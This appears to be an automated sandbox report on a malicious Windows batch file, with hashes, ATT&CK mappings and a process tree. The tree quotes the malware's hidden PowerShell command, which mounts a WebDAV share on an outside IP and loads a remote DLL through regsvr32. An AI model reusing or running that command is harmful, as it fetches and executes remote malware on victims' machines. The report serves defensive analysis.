06570081c4c7f77f809600877e8c6fa39a2771a77cc1214cfa0f46d27841e8c9

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21-07-2024 15:16

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General

Target

17142297572274029818.bat
Size

18KB
MD5

e83b902d0c8f20003deccf20f90598d1
SHA1

44bdcb3a1f9feb1a35647d035aa93d18c451aac8
SHA256

06570081c4c7f77f809600877e8c6fa39a2771a77cc1214cfa0f46d27841e8c9
SHA512

47ec79598cede4ae1977ad726f5db801f2b852b61bfb7e8b7d812c702c67a327b08db2ac3b3838adb517ef4cd474b08524ed3c28e78ed157e978bbbe965f18eb
SSDEEP

384:DcRJEtd8uTytfTA5Z6lNf/obBxgWKXi6S3tWnW4:oRJK8dfT8Z633o7Kyh3Y3

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2796	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2664	wordpad.exe
2664	wordpad.exe
2664	wordpad.exe
2664	wordpad.exe
2664	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 2664	2676	cmd.exe	32
PID 2676 wrote to memory of 2664	2676	cmd.exe	32
PID 2676 wrote to memory of 2664	2676	cmd.exe	32
PID 2676 wrote to memory of 2796	2676	cmd.exe	33
PID 2676 wrote to memory of 2796	2676	cmd.exe	33
PID 2676 wrote to memory of 2796	2676	cmd.exe	33
PID 2796 wrote to memory of 2568	2796	powershell.exe	35
PID 2796 wrote to memory of 2568	2796	powershell.exe	35
PID 2796 wrote to memory of 2568	2796	powershell.exe	35
PID 2796 wrote to memory of 2960	2796	powershell.exe	36
PID 2796 wrote to memory of 2960	2796	powershell.exe	36
PID 2796 wrote to memory of 2960	2796	powershell.exe	36
PID 2796 wrote to memory of 2960	2796	powershell.exe	36
PID 2796 wrote to memory of 2960	2796	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\17142297572274029818.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\28964195279550.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2568
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\28964195279550.dll
    3⤵
    PID:2960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2796-23-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2796-24-0x00000000027D0000-0x00000000027D8000-memory.dmp

Filesize
32KB

Download